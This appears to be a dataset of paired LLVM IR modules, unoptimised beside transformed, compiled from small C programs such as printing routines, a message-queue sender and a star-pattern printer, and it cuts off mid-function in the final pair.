@.str = private unnamed_addr constant [38 x i8] c" cheeta tarzan jane\0A\00", align 1
@.str.1 = private unnamed_addr constant [32 x i8] c"First round score %4d %6d %5d\0Af\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca i32, align 4
%7 = alloca i32, align 4
%8 = alloca i32, align 4
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
store i32 68, ptr %6, align 4
store i32 68, ptr %7, align 4
store i32 68, ptr %8, align 4
%9 = call i32 (ptr, ...) @printf(ptr noundef @.str)
%10 = load i32, ptr %8, align 4
%11 = load i32, ptr %7, align 4
%12 = load i32, ptr %6, align 4
%13 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %10, i32 noundef %11, i32 noundef %12)
ret i32 0
}
declare i32 @printf(ptr noundef, ...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp59zn7c1a.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [38 x i8] c" cheeta tarzan jane\0A\00", align 1
@.str.1 = private unnamed_addr constant [32 x i8] c"First round score %4d %6d %5d\0Af\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main(i32 noundef %0, ptr noundef %1) #0 {
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca ptr, align 8
%6 = alloca i32, align 4
%7 = alloca i32, align 4
%8 = alloca i32, align 4
store i32 0, ptr %3, align 4
store i32 %0, ptr %4, align 4
store ptr %1, ptr %5, align 8
store i32 68, ptr %6, align 4
store i32 68, ptr %7, align 4
store i32 68, ptr %8, align 4
%9 = call i32 (ptr, ...) @printf(ptr noundef @.str)
%10 = load i32, ptr %8, align 4
%11 = load i32, ptr %7, align 4
%12 = load i32, ptr %6, align 4
%13 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %10, i32 noundef %11, i32 noundef %12)
ret i32 0
}
declare i32 @printf(ptr noundef, ...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmp407pub_3.c'
source_filename = "/tmp/tmp407pub_3.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmp407pub_3.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpglrkemyw.c'
source_filename = "/tmp/tmpglrkemyw.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpglrkemyw.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpea1pri4e.c'
source_filename = "/tmp/tmpea1pri4e.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpea1pri4e.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpv81yyd00.c'
source_filename = "/tmp/tmpv81yyd00.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@O_RDWR = dso_local global i32 0, align 4
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpv81yyd00.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@O_RDWR = dso_local global i32 0, align 4
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpnfv4ji10.c'
source_filename = "/tmp/tmpnfv4ji10.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [42 x i8] c"Subject:\09Computer Programming\09Section:\091\0A\00", align 1
@.str.1 = private unnamed_addr constant [39 x i8] c"ID:\09\0954079999\09\09Name:\09\09Somchai Somying\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
store i32 0, ptr %1, align 4
%2 = call i32 @printf(ptr noundef @.str)
%3 = call i32 @printf(ptr noundef @.str.1)
ret i32 0
}
declare i32 @printf(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpnfv4ji10.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [42 x i8] c"Subject:\09Computer Programming\09Section:\091\0A\00", align 1
@.str.1 = private unnamed_addr constant [39 x i8] c"ID:\09\0954079999\09\09Name:\09\09Somchai Somying\0A\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
store i32 0, ptr %1, align 4
%2 = call i32 @printf(ptr noundef @.str)
%3 = call i32 @printf(ptr noundef @.str.1)
ret i32 0
}
declare i32 @printf(ptr noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmphp652vn2.c'
source_filename = "/tmp/tmphp652vn2.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmphp652vn2.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpawccq4cs.c'
source_filename = "/tmp/tmpawccq4cs.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
%struct.mensaje = type { i64, [20 x i8] }
@.str = private unnamed_addr constant [6 x i8] c"hola\00\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @mainescq() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = alloca %struct.mensaje, align 8
%4 = call i32 (...) @crear_cmsj()
%5 = call i32 @msgget(i32 noundef 10, i32 noundef 0)
store i32 %5, ptr %2, align 4
%6 = getelementptr inbounds %struct.mensaje, ptr %3, i32 0, i32 0
store i64 1, ptr %6, align 8
%7 = getelementptr inbounds %struct.mensaje, ptr %3, i32 0, i32 1
%8 = getelementptr inbounds [20 x i8], ptr %7, i64 0, i64 0
%9 = call i32 @strcpy(ptr noundef %8, ptr noundef @.str)
%10 = load i32, ptr %2, align 4
%11 = call i32 @msgsnd(i32 noundef %10, ptr noundef %3, i32 noundef 24, i32 noundef 0)
%12 = load i32, ptr %1, align 4
ret i32 %12
}
declare i32 @crear_cmsj(...) #1
declare i32 @msgget(i32 noundef, i32 noundef) #1
declare i32 @strcpy(ptr noundef, ptr noundef) #1
declare i32 @msgsnd(i32 noundef, ptr noundef, i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpawccq4cs.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
%struct.mensaje = type { i64, [20 x i8] }
@.str = private unnamed_addr constant [6 x i8] c"hola\00\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @mainescq() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = alloca %struct.mensaje, align 8
%4 = call i32 (...) @crear_cmsj()
%5 = call i32 @msgget(i32 noundef 10, i32 noundef 0)
store i32 %5, ptr %2, align 4
%6 = getelementptr inbounds %struct.mensaje, ptr %3, i32 0, i32 0
store i64 1, ptr %6, align 8
%7 = getelementptr inbounds %struct.mensaje, ptr %3, i32 0, i32 1
%8 = getelementptr inbounds [20 x i8], ptr %7, i64 0, i64 0
%9 = call i32 @strcpy(ptr noundef %8, ptr noundef @.str)
%10 = load i32, ptr %2, align 4
%11 = call i32 @msgsnd(i32 noundef %10, ptr noundef %3, i32 noundef 24, i32 noundef 0)
%12 = load i32, ptr %1, align 4
ret i32 %12
}
declare i32 @crear_cmsj(...) #1
declare i32 @msgget(i32 noundef, i32 noundef) #1
declare i32 @strcpy(ptr noundef, ptr noundef) #1
declare i32 @msgsnd(i32 noundef, ptr noundef, i32 noundef, i32 noundef) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
|
; ModuleID = '/tmp/tmpyjinc6de.c'
source_filename = "/tmp/tmpyjinc6de.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [3 x i8] c"%d\00", align 1
@.str.1 = private unnamed_addr constant [4 x i8] c"%d\0A\00", align 1
@.str.2 = private unnamed_addr constant [2 x i8] c" \00", align 1
@.str.3 = private unnamed_addr constant [2 x i8] c"*\00", align 1
@.str.4 = private unnamed_addr constant [2 x i8] c"\0A\00", align 1
@.str.5 = private unnamed_addr constant [2 x i8] c"#\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
store i32 0, ptr %1, align 4
store i32 0, ptr %5, align 4
%6 = call i32 @scanf(ptr noundef @.str, ptr noundef %3)
store i32 1, ptr %4, align 4
br label %7
7: ; preds = %26, %0
%8 = load i32, ptr %4, align 4
%9 = load i32, ptr %3, align 4
%10 = sub nsw i32 %9, 1
%11 = icmp slt i32 %8, %10
br i1 %11, label %12, label %29
12: ; preds = %7
store i32 0, ptr %2, align 4
br label %13
13: ; preds = %22, %12
%14 = load i32, ptr %2, align 4
%15 = load i32, ptr %4, align 4
%16 = mul nsw i32 %15, 2
%17 = sub nsw i32 %16, 1
%18 = icmp slt i32 %14, %17
br i1 %18, label %19, label %25
19: ; preds = %13
%20 = load i32, ptr %5, align 4
%21 = add nsw i32 %20, 1
store i32 %21, ptr %5, align 4
br label %22
22: ; preds = %19
%23 = load i32, ptr %2, align 4
%24 = add nsw i32 %23, 1
store i32 %24, ptr %2, align 4
br label %13, !llvm.loop !6
25: ; preds = %13
br label %26
26: ; preds = %25
%27 = load i32, ptr %4, align 4
%28 = add nsw i32 %27, 1
store i32 %28, ptr %4, align 4
br label %7, !llvm.loop !8
29: ; preds = %7
%30 = load i32, ptr %5, align 4
%31 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %30)
store i32 0, ptr %2, align 4
br label %32
32: ; preds = %39, %29
%33 = load i32, ptr %2, align 4
%34 = load i32, ptr %3, align 4
%35 = sub nsw i32 %34, 1
%36 = icmp slt i32 %33, %35
br i1 %36, label %37, label %42
37: ; preds = %32
%38 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
br label %39
39: ; preds = %37
%40 = load i32, ptr %2, align 4
%41 = add nsw i32 %40, 1
store i32 %41, ptr %2, align 4
br label %32, !llvm.loop !9
42: ; preds = %32
%43 = call i32 (ptr, ...) @printf(ptr noundef @.str.3)
store i32 0, ptr %2, align 4
br label %44
44: ; preds = %51, %42
%45 = load i32, ptr %4, align 4
%46 = load i32, ptr %3, align 4
%47 = sub nsw i32 %46, 1
%48 = icmp slt i32 %45, %47
br i1 %48, label %49, label %54
49: ; preds = %44
%50 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
br label %51
51: ; preds = %49
%52 = load i32, ptr %2, align 4
%53 = add nsw i32 %52, 1
store i32 %53, ptr %2, align 4
br label %44, !llvm.loop !10
54: ; preds = %44
%55 = call i32 (ptr, ...) @printf(ptr noundef @.str.4)
store i32 1, ptr %4, align 4
br label %56
56: ; preds = %103, %54
%57 = load i32, ptr %4, align 4
%58 = load i32, ptr %3, align 4
%59 = sub nsw i32 %58, 1
%60 = icmp slt i32 %57, %59
br i1 %60, label %61, label %106
61: ; preds = %56
%62 = load i32, ptr %3, align 4
%63 = load i32, ptr %4, align 4
%64 = sub nsw i32 %62, %63
%65 = sub nsw i32 %64, 1
store i32 %65, ptr %2, align 4
br label %66
66: ; preds = %71, %61
%67 = load i32, ptr %2, align 4
%68 = icmp ne i32 %67, 0
br i1 %68, label %69, label %74
69: ; preds = %66
%70 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
br label %71
71: ; preds = %69
%72 = load i32, ptr %2, align 4
%73 = add nsw i32 %72, -1
store i32 %73, ptr %2, align 4
br label %66, !llvm.loop !11
74: ; preds = %66
%75 = call i32 (ptr, ...) @printf(ptr noundef @.str.3)
store i32 0, ptr %2, align 4
br label %76
76: ; preds = %84, %74
%77 = load i32, ptr %2, align 4
%78 = load i32, ptr %4, align 4
%79 = mul nsw i32 %78, 2
%80 = sub nsw i32 %79, 1
%81 = icmp slt i32 %77, %80
br i1 %81, label %82, label %87
82: ; preds = %76
%83 = call i32 (ptr, ...) @printf(ptr noundef @.str.5)
br label %84
84: ; preds = %82
%85 = load i32, ptr %2, align 4
%86 = add nsw i32 %85, 1
store i32 %86, ptr %2, align 4
br label %76, !llvm.loop !12
87: ; preds = %76
%88 = call i32 (ptr, ...) @printf(ptr noundef @.str.3)
%89 = load i32, ptr %3, align 4
%90 = load i32, ptr %4, align 4
%91 = sub nsw i32 %89, %90
%92 = sub nsw i32 %91, 1
store i32 %92, ptr %2, align 4
br label %93
93: ; preds = %98, %87
%94 = load i32, ptr %2, align 4
%95 = icmp ne i32 %94, 0
br i1 %95, label %96, label %101
96: ; preds = %93
%97 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
br label %98
98: ; preds = %96
%99 = load i32, ptr %2, align 4
%100 = add nsw i32 %99, -1
store i32 %100, ptr %2, align 4
br label %93, !llvm.loop !13
101: ; preds = %93
%102 = call i32 (ptr, ...) @printf(ptr noundef @.str.4)
br label %103
103: ; preds = %101
%104 = load i32, ptr %4, align 4
%105 = add nsw i32 %104, 1
store i32 %105, ptr %4, align 4
br label %56, !llvm.loop !14
106: ; preds = %56
store i32 0, ptr %2, align 4
br label %107
107: ; preds = %115, %106
%108 = load i32, ptr %2, align 4
%109 = load i32, ptr %3, align 4
%110 = mul nsw i32 %109, 2
%111 = sub nsw i32 %110, 1
%112 = icmp slt i32 %108, %111
br i1 %112, label %113, label %118
113: ; preds = %107
%114 = call i32 (ptr, ...) @printf(ptr noundef @.str.3)
br label %115
115: ; preds = %113
%116 = load i32, ptr %2, align 4
%117 = add nsw i32 %116, 1
store i32 %117, ptr %2, align 4
br label %107, !llvm.loop !15
118: ; preds = %107
ret i32 0
}
declare i32 @scanf(ptr noundef, ptr noundef) #1
declare i32 @printf(ptr noundef, ...) #1
attributes #0 = { noinline nounwind sspstrong uwtable "frame-pointer"="all" "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
attributes #1 = { "frame-pointer"="all" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" }
!llvm.module.flags = !{!0, !1, !2, !3, !4}
!llvm.ident = !{!5}
!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{i32 8, !"PIC Level", i32 2}
!2 = !{i32 7, !"PIE Level", i32 2}
!3 = !{i32 7, !"uwtable", i32 2}
!4 = !{i32 7, !"frame-pointer", i32 2}
!5 = !{!"clang version 17.0.6"}
!6 = distinct !{!6, !7}
!7 = !{!"llvm.loop.mustprogress"}
!8 = distinct !{!8, !7}
!9 = distinct !{!9, !7}
!10 = distinct !{!10, !7}
!11 = distinct !{!11, !7}
!12 = distinct !{!12, !7}
!13 = distinct !{!13, !7}
!14 = distinct !{!14, !7}
!15 = distinct !{!15, !7}
| ; ModuleID = '<stdin>'
source_filename = "/tmp/tmpyjinc6de.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"
@.str = private unnamed_addr constant [3 x i8] c"%d\00", align 1
@.str.1 = private unnamed_addr constant [4 x i8] c"%d\0A\00", align 1
@.str.2 = private unnamed_addr constant [2 x i8] c" \00", align 1
@.str.3 = private unnamed_addr constant [2 x i8] c"*\00", align 1
@.str.4 = private unnamed_addr constant [2 x i8] c"\0A\00", align 1
@.str.5 = private unnamed_addr constant [2 x i8] c"#\00", align 1
; Function Attrs: noinline nounwind sspstrong uwtable
define dso_local i32 @main() #0 {
%1 = alloca i32, align 4
%2 = alloca i32, align 4
%3 = alloca i32, align 4
%4 = alloca i32, align 4
%5 = alloca i32, align 4
store i32 0, ptr %1, align 4
store i32 0, ptr %5, align 4
%6 = call i32 @scanf(ptr noundef @.str, ptr noundef %3)
store i32 1, ptr %4, align 4
%7 = load i32, ptr %4, align 4
%8 = load i32, ptr %3, align 4
%9 = sub nsw i32 %8, 1
%10 = icmp slt i32 %7, %9
br i1 %10, label %.lr.ph2, label %36
.lr.ph2: ; preds = %0
br label %11
11: ; preds = %.lr.ph2, %29
store i32 0, ptr %2, align 4
%12 = load i32, ptr %2, align 4
%13 = load i32, ptr %4, align 4
%14 = mul nsw i32 %13, 2
%15 = sub nsw i32 %14, 1
%16 = icmp slt i32 %12, %15
br i1 %16, label %.lr.ph, label %28
.lr.ph: ; preds = %11
br label %17
17: ; preds = %.lr.ph, %20
%18 = load i32, ptr %5, align 4
%19 = add nsw i32 %18, 1
store i32 %19, ptr %5, align 4
br label %20
20: ; preds = %17
%21 = load i32, ptr %2, align 4
%22 = add nsw i32 %21, 1
store i32 %22, ptr %2, align 4
%23 = load i32, ptr %2, align 4
%24 = load i32, ptr %4, align 4
%25 = mul nsw i32 %24, 2
%26 = sub nsw i32 %25, 1
%27 = icmp slt i32 %23, %26
br i1 %27, label %17, label %._crit_edge, !llvm.loop !6
._crit_edge: ; preds = %20
br label %28
28: ; preds = %._crit_edge, %11
br label %29
29: ; preds = %28
%30 = load i32, ptr %4, align 4
%31 = add nsw i32 %30, 1
store i32 %31, ptr %4, align 4
%32 = load i32, ptr %4, align 4
%33 = load i32, ptr %3, align 4
%34 = sub nsw i32 %33, 1
%35 = icmp slt i32 %32, %34
br i1 %35, label %11, label %._crit_edge3, !llvm.loop !8
._crit_edge3: ; preds = %29
br label %36
36: ; preds = %._crit_edge3, %0
%37 = load i32, ptr %5, align 4
%38 = call i32 (ptr, ...) @printf(ptr noundef @.str.1, i32 noundef %37)
store i32 0, ptr %2, align 4
%39 = load i32, ptr %2, align 4
%40 = load i32, ptr %3, align 4
%41 = sub nsw i32 %40, 1
%42 = icmp slt i32 %39, %41
br i1 %42, label %.lr.ph5, label %52
.lr.ph5: ; preds = %36
br label %43
43: ; preds = %.lr.ph5, %45
%44 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
br label %45
45: ; preds = %43
%46 = load i32, ptr %2, align 4
%47 = add nsw i32 %46, 1
store i32 %47, ptr %2, align 4
%48 = load i32, ptr %2, align 4
%49 = load i32, ptr %3, align 4
%50 = sub nsw i32 %49, 1
%51 = icmp slt i32 %48, %50
br i1 %51, label %43, label %._crit_edge6, !llvm.loop !9
._crit_edge6: ; preds = %45
br label %52
52: ; preds = %._crit_edge6, %36
%53 = call i32 (ptr, ...) @printf(ptr noundef @.str.3)
store i32 0, ptr %2, align 4
%54 = load i32, ptr %4, align 4
%55 = load i32, ptr %3, align 4
%56 = sub nsw i32 %55, 1
%57 = icmp slt i32 %54, %56
br i1 %57, label %.lr.ph8, label %67
.lr.ph8: ; preds = %52
br label %58
58: ; preds = %.lr.ph8, %60
%59 = call i32 (ptr, ...) @printf(ptr noundef @.str.2)
br label %60
60: ; preds = %58
%61 = load i32, ptr %2, align 4
%62 = add nsw i32 %61, 1
